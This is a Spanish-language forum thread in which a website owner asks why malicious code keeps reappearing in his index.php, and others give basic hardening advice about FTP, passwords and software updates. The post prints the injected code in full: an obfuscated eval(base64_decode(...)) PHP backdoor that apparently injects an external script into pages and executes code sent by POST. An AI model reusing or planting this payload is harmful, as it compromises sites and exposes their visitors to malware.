Urgente! Virus en mi sitio web

[joelluis17]

Hola hace unos meses se filtro en mi site especificamente en mi index.php un codigo maligno nose si llmarlo virus u otro.

Ahora bien cuando google se percato del mismo me bloqueo el sitio como site peligroso, yo baje el site y lo escane lo volvi a subir, le pedi a google que revisara y me quito el mensaje de site peligroso.

Hace unas 2 semanas aproximadamente sucedio lo mismo, y yo revise el site y me percate que en mi index.php se encontraba un script similar al anterior de hace meses. Y lo elimine nuevamente

Hoy nuevamente pasa lo mismo con un script similar!

Que puede ser eso? porque el hosting es tan propenso a estos ataques?

Podrian dame una solucion? no tengo el control del hosting sino lo que me ofrece CPANEL.


Mi sitio es www.sidedesigne.com.ve

y el script es este:

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnd2 d6dicpKXtmdW5jdGlvbiB3Z3p2KCRzKXtpZihwcmVnX21hdGNo X2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcy R2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXBy ZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD 5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtd KFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJy NcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21D aGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC 53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlm KHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcy wkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgn I1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLC R2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxh Y2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJG E9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBj RG92TDNWdWRHbDBiR1ZrTG1Kd2JHRmpaV1F1WkdVdlkzVjBaVz VsZDNNdmFHVmhaR1Z5TG5Cb2NDQStQQzl6WTNKcGNIUSsnKSwn Jywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3 JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzLDEp O2Vsc2VpZihzdHJwb3MoJHMsJzxhJykpJHM9JGEuJHM7cmV0dX JuJHM7fWZ1bmN0aW9uIHdnenYyKCRhLCRiLCRjLCRkKXtnbG9i YWwkd2d6djE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdH MoJHdnenYxKSljYWxsX3VzZXJfZnVuYygkd2d6djEsJGEsJGIs JGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KW lmKCgkYT0kdlsnbmFtZSddKT09J3dnenYnKXJldHVybjtlbHNl aWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPW FycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS 0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5k X2NsZWFuKCk7fW9iX3N0YXJ0KCd3Z3p2Jyk7Zm9yKCRpPTA7JG k8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7 ZWNobyAkc1skaV1bMV07fX19JHdnenZsPSgoJGE9QHNldF9lcn Jvcl9oYW5kbGVyKCd3Z3p2MicpKSE9J3dnenYyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKT s=')); ?>


Por ayuda! Gracias!

[charlydime]

Te recomendo que vigiles el ftp muy probable mente por hay estan subiendo ese script

hay scripts de php que son mas bulnerables que otros como por ejemplo el joomla puede ser mas seguro que un phpnuke , si usas alguna vercion de este tipo de software puedes intentar actualizarlo y visitar fuentes que te digan como asegurar mejor tu sitio

tambein consulta a tu proveedor de hosting hacerca de esa situacion

aa tambien cambia seguido los password tanto de los scripts como de las cuentas de ftp , de paneles para sitos, etc


Carlos Rojo

[joelluis17]

Hola amigos, hace un tiempo tuve un porblema con mi sitio web, en varias ocaciones mi sitio siempre se infectaba con script que generaban que google me tomara el site como una amenaza.

Ya no me ha sucesido mas, lo que hice fue lo siguiente:

1. Cambio la contraseña de mi hosting cada mes
2. Solo abro mi ftp cuando lo voy a usar en el monento
3. Al terminar de upload mis archivos cierro mi ftp
4. No inserto codigos en mi servidor que antes haya pasado por un antivirus


Bueno desde que hago eso mas nunca se aparecio otro script en mi site!

Mi sitio es www.sidedesigne.com.ve

Saludos amigos

[JavierB]

Hola joelluis17

Muevo tu tema al foro de Virus, troyanos y spyware desde Web general.

Saludos,